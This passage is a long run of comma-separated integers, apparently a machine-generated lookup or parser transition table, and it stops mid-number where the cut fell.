0,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,36629,36690,18720,19008,19233,20367,19008,17454,17595,36437,17330,17349,18921,17189,17208,17281,20355,17223,17308,17327,17346,18918,36754,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20362,21726,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,0,94242,0,118820,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2482176,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,24,27,27,27,2207744,2404352,2412544,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3104768,2605056,2207744,2207744,2207744,2207744,2207744,2207744,2678784,2207744,2695168,2207744,2703360,2207744,2711552,2752512,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,0,2158592,2158592,3170304,3174400,2158592,0,139,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,2748416,2756608,2777088,2801664,2158592,2158592,2158592,2863104,2891776,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2785280,2207744,2809856,2207744,2207744,2842624,2207744,2207744,2207744,2899968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2473984,2207744,2207744,2494464,2207744,2207744,2207744,2523136,2158592,2404352,2412544,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2564096,2158592,2158592,2605056,2158592,2158592,2158592,2158592,2158592,2158592,2678784,2158592,2695168,2158592,2703360,2158592,2711552,2752512,2158592,2158592,2785280,2158592,2158592,2785280,2158592,2809856,2158592,2158592,2842624,2158592,2158592,2158592,2899968,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,18,0,0,0,0,0,0,0,2211840,0,0,641,0,2158592,0,0,0,0,0,0,0,0,2211840,0,0,32768,0,2158592,0,2158592,2158592,2158592,2383872,2158592,2158592,2158592,2158592,3006464,2383872,2207744,2207744,2207744,2207744,2158877,2158877,2158877,2158877,0,0,0,2158877,2572573,2158877,2158877,0,2207744,2207744,2596864,2207744,2207744,2207744,2207744,2207744,2207744,2641920,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,167936,0,0,2162688,0,0,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,0,0,0,2146304,2146304,2224128,2224128,2232320,2232320,2232320,641,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2531328,2158592,2158592,2158592,2158592,2158592,2617344,2158592,2158592,2158592,2158592,2441216,2445312,2158592,2158592,2158592,2158592,2158592,2158592,2502656,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2580480,2158592,2158592,2158592,2158592,2621440,2158592,2580480,2158592,2158592,2158592,2158592,2621440,2158592,2158592,2158592,2158592,2158592,2158592,2699264,2158592,2158592,2158592,2158592,2158592,2748416,2756608,2777088,2801664,2207744,2863104,2891776,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3018752,2207744,3043328,2207744,2207744,2207744,2207744,3080192,2207744,2207744,3112960,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,172310,279,0,2162688,0,0,2207744,2207744,2207744,3186688,2207744,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2158592,2158592,2158592,2404352,2412544,2158592,2510848,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2584576,2158592,2609152,2158592,2158592,2629632,2158592,2158592,2158592,2686976,2158592,2715648,2158592,2158592,3121152,2158592,2158592,2158592,3149824,2158592,2158592,3170304,3174400,2158592,2367488,2207744,2207744,2207744,2207744,2158592,2158592,2158592,2158592,0,0,0,2158592,2572288,2158592,2158592,0,2207744,2207744,2207744,2433024,2207744,2453504,2461696,2207744,2207744,2207744,2207744,2207744,2207744,2510848,2207744,2207744,2207744,2207744,2207744,2531328,2207744,2207744,2207744,2207744,2207744,2617344,2207744,2207744,2207744,2207744,2158592,2158592,2158592,2158592,0,0,0,2158592,2572288,2158592,2158592,1508,2715648,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2867200,2207744,2904064,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2580480,2207744,2207744,2207744,2207744,2621440,2207744,2207744,2207744,3149824,2207744,2207744,3170304,3174400,2207744,0,0,0,0,0,0,0,0,0,0,138,2158592,2158592,2158592,2404352,2412544,2707456,2732032,2207744,2207744,2207744,2822144,2826240,2207744,2895872,2207744,2207744,2924544,2207744,2207744,2973696,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,285,2158592,2158592,3112960,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3186688,2158592,2207744,2207744,2158592,2158592,2158592,2158592,2158592,0,0,0,2158592,2158592,2158592,2158592,0,0,2535424,2543616,2158592,2158592,2158592,0,0,0,2158592,2158592,2158592,2990080,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2572288,2981888,2207744,2207744,3002368,2207744,3047424,3063808,3076096,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3203072,2708960,2732032,2158592,2158592,2158592,2822144,2827748,2158592,2895872,2158592,2158592,2924544,2158592,2158592,2973696,2158592,2981888,2158592,2158592,3002368,2158592,3047424,3063808,3076096,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3203072,2981888,2158592,2158592,3003876,2158592,3047424,3063808,3076096,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3203072,2207744,2207744,2207744,2207744,2207744,2424832,2207744,2207744,2207744,2207744,2207744,2207744,2207744,20480,0,0,0,0,0,2162688,20480,0,2523136,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2908160,2527232,2207744,2207744,2576384,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2908160,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,286,2158592,2158592,0,0,2158592,2158592,2158592,2158592,2633728,2658304,0,0,2740224,2744320,0,2834432,2207744,2207744,2977792,2207744,2207744,2207744,2207744,3039232,2207744,2207744,2207744,2207744,2207744,2207744,3158016,0,0,29315,0,0,0,0,45,45,45,45,45,933,45,45,45,45,442,45,45,45,45,45,45,45,45,45,67,67,2494464,2158592,2158592,2158592,2524757,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,1504,2158592,2498560,2158592,2158592,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,2736128,2158592,2158592,0,2158592,2912256,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3108864,2158592,2158592,3133440,3145728,3153920,2375680,2379776,2207744,2207744,2420736,2207744,2449408,2207744,2207744,2207744,2498560,2207744,2207744,2207744,2207744,2568192,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,551,2158592,2158592,2158592,2158592,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158592,2506752,0,2020,2158592,2592768,2625536,2207744,2207744,2674688,2736128,2207744,2207744,2207744,2912256,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,542,0,544,2207744,3108864,2207744,2207744,3133440,3145728,3153920,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,641,0,0,0,0,0,0,2367488,2158592,2498560,2158592,2158592,1621,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,0,0,0,0,0,1608,97,97,97,97,97,97,97,97,97,97,1107,97,97,1110,97,97,3133440,3145728,3153920,2158592,2408448,2416640,2158592,2465792,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3014656,2158592,2158592,3051520,2158592,2158592,3100672,2158592,2158592,3121152,2158592,2158592,2158592,3149824,2416640,2207744,2465792,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2633728,2658304,2740224,2744320,2834432,2949120,2158592,2985984,2158592,2998272,2158592,2158592,2158592,3129344,2207744,2408448,2949120,2207744,2985984,2207744,2998272,2207744,2207744,2207744,3129344,2158592,2408448,2416640,2158592,2465792,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,32768,0,0,0,0,0,0,2367488,2949120,2158592,2985984,2158592,2998272,2158592,2158592,2158592,3129344,2158592,2158592,2478080,2158592,2158592,2158592,2535424,2543616,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3117056,2207744,2207744,2478080,2207744,2207744,2207744,2207744,2699264,2207744,2207744,2207744,2207744,2207744,2748416,2756608,2777088,2801664,2207744,2207744,2158877,2158877,2158877,2158877,2158877,0,0,0,2158877,2158877,2158877,2158877,0,0,2535709,2543901,2158877,2158877,2158877,0,0,0,2158877,2158877,2158877,2990365,2158877,2158877,2158730,2158730,2158730,2158730,2158730,2572426,2207744,2535424,2543616,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3117056,2158592,2158592,2478080,2207744,2207744,2990080,2207744,2207744,2158592,2158592,2482176,2158592,2158592,0,0,0,2158592,2158592,2158592,0,2158592,2908160,2158592,2158592,2158592,2977792,2158592,2158592,2158592,2158592,3039232,2158592,2158592,3010560,2207744,2428928,2207744,2514944,2207744,2588672,2207744,2838528,2207744,2207744,2207744,3010560,2158592,2428928,2158592,2514944,0,0,2158592,2588672,2158592,0,2838528,2158592,2158592,2158592,3010560,2158592,2506752,2158592,18,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,0,29315,922,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,1539,45,3006464,2383872,0,2020,2158592,2158592,2158592,2158592,3006464,2158592,2637824,2953216,2158592,2207744,2637824,2953216,2207744,0,0,2158592,2637824,2953216,2158592,2539520,2158592,2539520,2207744,0,0,2539520,2158592,2158592,2158592,2158592,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158592,2506752,0,0,2158592,2207744,0,2158592,2158592,2207744,0,2158592,2158592,2207744,0,2158592,2965504,2965504,2965504,0,0,0,0,0,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2474269,2158877,2158877,0,0,2158877,2158877,2158877,2158877,2634013,2658589,0,0,2740509,2744605,0,2834717,40976,18,36884,45078,24,28,90143,94242,118820,102439,106538,98347,118820,118820,118820,40976,18,18,36884,0,0,0,24,24,24,27,27,27,27,90143,0,0,86016,0,0,2211840,102439,0,0,0,98347,0,2158592,2158592,2158592,2158592,2158592,3158016,0,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,0,94242,0,0,0,2211840,102439,0,0,106538,98347,135,2158592,2158592,2158592,2158592,2158592,2158592,2564096,2158592,2158592,2158592,2158592,2158592,2596864,2158592,2158592,2158592,2158592,2158592,2158592,2641920,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2781184,2793472,2494464,2158592,2158592,2158592,2523136,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,0,27,27,0,2158592,2498560,2158592,2158592,0,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,0,0,0,0,0,2211840,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2473984,2158592,2158592,2494464,2158592,2158592,2158592,3006464,2383872,0,0,2158592,2158592,2158592,2158592,3006464,2158592,2637824,2953216,2158592,2207744,2637824,2953216,40976,18,36884,45078,24,27,147488,94242,147456,147488,106538,98347,0,0,147456,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,0,81920,0,94242,0,0,0,2211840,0,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,2428928,2158592,2514944,2158592,2588672,2158592,2838528,2158592,2158592,40976,18,151573,45078,24,27,90143,94242,0,102439,106538,98347,0,0,0,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,0,1315,0,97,97,97,97,97,97,97,97,97,97,1487,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,0,0,29315,0,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,130,94242,0,0,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,3096576,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2158592,18,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,644,2207744,2207744,2207744,3186688,2207744,0,1080,0,1084,0,1088,0,0,0,0,0,0,0,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2531466,2158730,2158730,2158730,2158730,2158730,2617482,0,94242,0,0,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2781184,2793472,2158592,2818048,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,40976,18,36884,45078,24,27,90143,159779,159744,102439,159779,98347,0,0,159744,40976,18,18,36884,0,45078,0,2224253,172032,2224253,2232448,2232448,172032,2232448,90143,0,0,2170880,0,0,550,829,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,124,124,127,127,127,40976,18,36884,45078,25,29,90143,94242,0,102439,106538,98347,0,0,163931,40976,18,18,36884,0,45078,249856,24,24,24,27,27,27,27,90143,0,0,2170880,0,0,827,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,4243810,4243810,24,24,27,27,27,2207744,0,0,0,0,0,0,2166784,0,0,0,0,57344,286,2158592,2158592,2158592,2158592,2707456,2732032,2158592,2158592,2158592,2822144,2826240,2158592,2895872,2158592,2158592,2924544,2158592,2158592,2973696,2158592,2207744,2207744,2207744,3186688,2207744,0,0,0,0,0,0,53248,0,0,0,0,0,97,97,97,97,97,1613,97,97,97,97,97,97,1495,97,97,97,97,97,97,97,97,97,566,97,97,97,97,97,97,2207744,0,0,0,0,0,0,2166784,546,0,0,0,0,286,2158592,2158592,2158592,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,17,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,20480,120,121,18,18,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,0,2170880,0,53248,550,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,196608,18,266240,24,24,27,27,27,0,94242,0,0,0,38,102439,0,0,106538,98347,0,45,45,45,45,45,45,45,1535,45,45,45,45,45,45,45,1416,45,45,45,45,45,45,45,45,424,45,45,45,45,45,45,45,45,45,405,45,45,45,45,45,45,45,45,45,45,45,45,45,199,45,45,67,67,67,67,67,491,67,67,67,67,67,67,67,67,67,67,67,1766,67,67,67,1767,67,24850,24850,12564,12564,0,0,2166784,546,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,743,57889,0,2170880,0,0,550,0,97,97,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,1856,45,1858,1859,67,67,67,1009,67,67,67,67,67,67,67,67,67,67,67,1021,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,0,2367773,2158877,2158877,2158877,2158877,2158877,2158877,2699549,2158877,2158877,2158877,2158877,2158877,2748701,2756893,2777373,2801949,97,1115,97,97,97,97,97,97,97,97,97,97,97,97,97,97,857,97,67,67,67,67,67,1258,67,67,67,67,67,67,67,67,67,67,67,1826,67,97,97,97,97,97,97,1338,97,97,97,97,97,97,97,97,97,97,97,97,97,870,97,97,67,67,67,1463,67,67,67,67,67,67,67,67,67,67,67,67,67,1579,67,67,97,97,97,1518,97,97,97,97,97,97,97,97,97,97,97,97,97,904,905,97,97,97,97,1620,97,97,97,97,97,97,97,97,97,97,97,0,921,0,0,0,0,0,0,45,1679,67,67,67,1682,67,67,67,67,67,67,67,67,67,1690,67,0,0,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,669,45,45,45,45,45,45,45,45,45,45,45,45,189,45,45,45,1748,45,45,45,1749,1750,45,45,45,45,45,45,45,45,67,67,67,67,1959,67,67,67,67,1768,67,67,67,67,67,67,67,67,97,97,97,97,97,97,97,97,97,1791,97,97,97,97,97,97,97,97,45,45,45,45,45,45,1802,67,1817,67,67,67,67,67,67,1823,67,67,67,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,97,97,1848,45,45,45,45,45,45,45,45,45,45,45,659,45,45,45,45,45,45,45,1863,67,67,67,67,67,67,67,67,67,67,67,67,495,67,67,67,67,67,1878,97,97,97,97,0,0,0,97,97,97,97,0,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,67,67,67,67,97,97,97,97,0,0,0,1973,97,97,97,0,97,97,97,97,97,97,97,97,97,97,97,97,97,1165,97,1167,67,24850,24850,12564,12564,0,0,2166784,0,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,0,97,97,1789,97,0,94242,0,0,0,2211840,102439,0,0,106538,98347,136,2158592,2158592,2158592,2158592,2158592,3158016,229376,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,67,24850,24850,12564,12564,0,0,280,547,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,1788,97,97,0,97,2024,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,235,67,67,67,67,67,57889,547,547,0,0,550,0,97,97,97,97,97,97,97,97,97,45,45,45,1799,45,45,45,67,67,67,67,67,25398,0,13112,0,54074,0,0,1092,0,0,0,0,0,97,97,97,97,1612,97,97,97,97,1616,97,1297,1472,0,0,0,0,1303,1474,0,0,0,0,1309,1476,0,0,0,0,97,97,97,1481,97,97,97,97,97,97,1488,97,0,1474,0,1476,0,97,97,97,97,97,97,97,97,97,97,97,607,97,97,97,97,40976,18,36884,45078,26,30,90143,94242,0,102439,106538,98347,0,0,213080,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,143448,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,0,0,0,0,97,97,97,97,1482,97,1483,97,97,97,97,97,97,1326,97,97,1329,1330,97,97,97,97,97,97,1159,1160,97,97,97,97,97,97,97,97,590,97,97,97,97,97,97,97,0,94242,0,0,0,2211974,102439,0,0,106538,98347,0,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2474122,2158730,2158730,2494602,2158730,2158730,2158730,2809994,2158730,2158730,2842762,2158730,2158730,2158730,2900106,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3014794,2158730,2158730,3051658,2158730,2158730,3100810,2158730,2158730,2158730,2158730,3096714,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2207744,2207744,2207744,2207744,2207744,2572288,2207744,2207744,2207744,2207744,541,541,543,543,0,0,2166784,0,548,549,549,0,286,2158877,2158877,2158877,2863389,2892061,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3186973,2158877,0,0,0,0,0,0,0,0,2367626,2158877,2404637,2412829,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2564381,2158877,2158877,2605341,2158877,2158877,2158877,2158877,2158877,2158877,2679069,2158877,2695453,2158877,2703645,2158877,2711837,2752797,2158877,0,2158877,2158877,2158877,2384010,2158730,2158730,2158730,2158730,3006602,2383872,2207744,2207744,2207744,2207744,2207744,2207744,3096576,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,0,0,2158877,2785565,2158877,2810141,2158877,2158877,2842909,2158877,2158877,2158877,2900253,2158877,2158877,2158877,2158877,2158877,2531613,2158877,2158877,2158877,2158877,2158877,2617629,2158877,2158877,2158877,2158877,2158730,2818186,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3105053,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,0,0,0,0,0,97,97,97,1611,97,97,97,97,97,97,97,1496,97,97,1499,97,97,97,97,97,2441354,2445450,2158730,2158730,2158730,2158730,2158730,2158730,2502794,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2433162,2158730,2453642,2461834,2158730,2158730,2158730,2158730,2158730,2158730,2580618,2158730,2158730,2158730,2158730,2621578,2158730,2158730,2158730,2158730,2158730,2158730,2699402,2158730,2158730,2158730,2158730,2678922,2158730,2695306,2158730,2703498,2158730,2711690,2752650,2158730,2158730,2785418,2158730,2158730,2158730,3113098,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3186826,2158730,2207744,2207744,2207744,2207744,2781184,2793472,2207744,2818048,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,541,0,543,2158877,2502941,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2580765,2158877,2158877,2158877,2158877,2621725,2158877,3019037,2158877,3043613,2158877,2158877,2158877,2158877,3080477,2158877,2158877,3113245,2158877,2158877,2158877,2158877,0,2158877,2908445,2158877,2158877,2158877,2978077,2158877,2158877,2158877,2158877,3039517,2158877,2158730,2510986,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2584714,2158730,2609290,2158730,2158730,2629770,2158730,2158730,2158730,2388106,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2605194,2158730,2158730,2158730,2158730,2687114,2158730,2715786,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2867338,2158730,2904202,2158730,2158730,2158730,2642058,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2781322,2793610,2158730,3121290,2158730,2158730,2158730,3149962,2158730,2158730,3170442,3174538,2158730,2367488,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2441216,2445312,2207744,2207744,2207744,2207744,2207744,2207744,2502656,2158877,2433309,2158877,2453789,2461981,2158877,2158877,2158877,2158877,2158877,2158877,2511133,2158877,2158877,2158877,2158877,2584861,2158877,2609437,2158877,2158877,2629917,2158877,2158877,2158877,2687261,2158877,2715933,2158877,2158730,2158730,2973834,2158730,2982026,2158730,2158730,3002506,2158730,3047562,3063946,3076234,2158730,2158730,2158730,2158730,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158877,2507037,0,0,2158877,2158730,2158730,2158730,3203210,2207744,2207744,2207744,2207744,2207744,2424832,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2564096,2207744,2207744,2207744,2707741,2732317,2158877,2158877,2158877,2822429,2826525,2158877,2896157,2158877,2158877,2924829,2158877,2158877,2973981,2158877,18,0,0,0,0,0,0,0,2211840,0,0,642,0,2158592,0,45,1529,45,45,45,45,45,45,45,45,45,45,45,45,45,1755,45,67,67,2982173,2158877,2158877,3002653,2158877,3047709,3064093,3076381,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3203357,2523274,2527370,2158730,2158730,2576522,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2908298,2494749,2158877,2158877,2158877,2523421,2527517,2158877,2158877,2576669,2158877,2158877,2158877,2158877,2158877,2158877,0,40976,0,18,18,4321280,2224253,2232448,4329472,2232448,2158730,2498698,2158730,2158730,2158730,2158730,2568330,2158730,2592906,2625674,2158730,2158730,2674826,2736266,2158730,2158730,2158730,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2158730,2912394,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3109002,2158730,2158730,3133578,3145866,3154058,2375680,2207744,3108864,2207744,2207744,3133440,3145728,3153920,2375965,2380061,2158877,2158877,2421021,2158877,2449693,2158877,2158877,2158877,3117341,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3104906,2158730,2158730,2158730,2158730,2158730,2158730,2158877,2498845,2158877,2158877,0,2158877,2158877,2568477,2158877,2593053,2625821,2158877,2158877,2674973,0,0,0,0,97,97,1480,97,97,97,97,97,1485,97,97,97,0,97,97,1729,97,1731,97,97,97,97,97,97,97,311,97,97,97,97,97,97,97,97,1520,97,97,1523,97,97,1526,97,2736413,2158877,2158877,0,2158877,2912541,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3109149,2158877,2158877,3014941,2158877,2158877,3051805,2158877,2158877,3100957,2158877,2158877,3121437,2158877,2158877,2158877,3150109,3133725,3146013,3154205,2158730,2408586,2416778,2158730,2465930,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3018890,2158730,3043466,2158730,2158730,2158730,2158730,3080330,2633866,2658442,2740362,2744458,2834570,2949258,2158730,2986122,2158730,2998410,2158730,2158730,2158730,3129482,2207744,2408448,2949120,2207744,2985984,2207744,2998272,2207744,2207744,2207744,3129344,2158877,2408733,2416925,2158877,2466077,2158877,2158877,3170589,3174685,2158877,0,0,0,2158730,2158730,2158730,2158730,2158730,2424970,2158730,2158730,2158730,2158730,2707594,2732170,2158730,2158730,2158730,2822282,2826378,2158730,2896010,2158730,2158730,2924682,2949405,2158877,2986269,2158877,2998557,2158877,2158877,2158877,3129629,2158730,2158730,2478218,2158730,2158730,2158730,2535562,2543754,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3117194,2207744,2207744,2478080,2207744,2207744,2207744,2207744,3014656,2207744,2207744,3051520,2207744,2207744,3100672,2207744,2207744,3121152,2207744,2207744,2207744,2207744,2207744,2584576,2207744,2609152,2207744,2207744,2629632,2207744,2207744,2207744,2686976,2207744,2207744,2535424,2543616,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3117056,2158877,2158877,2478365,0,2158877,2158877,2158877,2158877,2158877,2158877,2158730,2158730,2482314,2158730,2158730,2158730,2158730,2158730,2158730,2207744,2207744,2207744,2387968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,823,0,825,2158730,2158730,2158730,2990218,2158730,2158730,2207744,2207744,2482176,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,135,0,2207744,2207744,2990080,2207744,2207744,2158877,2158877,2482461,2158877,2158877,0,0,0,2158877,2158877,2158877,2158877,2158877,2158730,2429066,2158730,2515082,2158730,2588810,2158730,2838666,2158730,2158730,2158730,3010698,2207744,2428928,2207744,2514944,2207744,2588672,2207744,2838528,2207744,2207744,2207744,3010560,2158877,2429213,2158877,2515229,0,0,2158877,2588957,2158877,0,2838813,2158877,2158877,2158877,3010845,2158730,2506890,2158730,2158730,2158730,2748554,2756746,2777226,2801802,2158730,2158730,2158730,2863242,2891914,2158730,2158730,2158730,2158730,2158730,2158730,2564234,2158730,2158730,2158730,2158730,2158730,2597002,2158730,2158730,2158730,3006464,2384157,0,0,2158877,2158877,2158877,2158877,3006749,2158730,2637962,2953354,2158730,2207744,2637824,2953216,2207744,0,0,2158877,2638109,2953501,2158877,2539658,2158730,2539520,2207744,0,0,2539805,2158877,2158730,2158730,2158730,2977930,2158730,2158730,2158730,2158730,3039370,2158730,2158730,2158730,2158730,2158730,2158730,3158154,2207744,0,2158877,2158730,2207744,0,2158877,2158730,2207744,0,2158877,2965642,2965504,2965789,0,0,0,0,1315,0,0,0,0,97,97,97,97,97,97,97,1484,97,97,97,97,2158592,18,0,122880,0,0,0,77824,0,2211840,0,0,0,0,2158592,0,356,0,0,0,0,0,0,28809,0,139,45,45,45,45,45,45,1751,45,45,45,45,45,45,45,67,67,1427,67,67,67,67,67,1432,67,67,67,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,122880,0,0,0,0,1315,0,0,0,0,97,97,97,97,97,97,1322,550,0,286,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,21585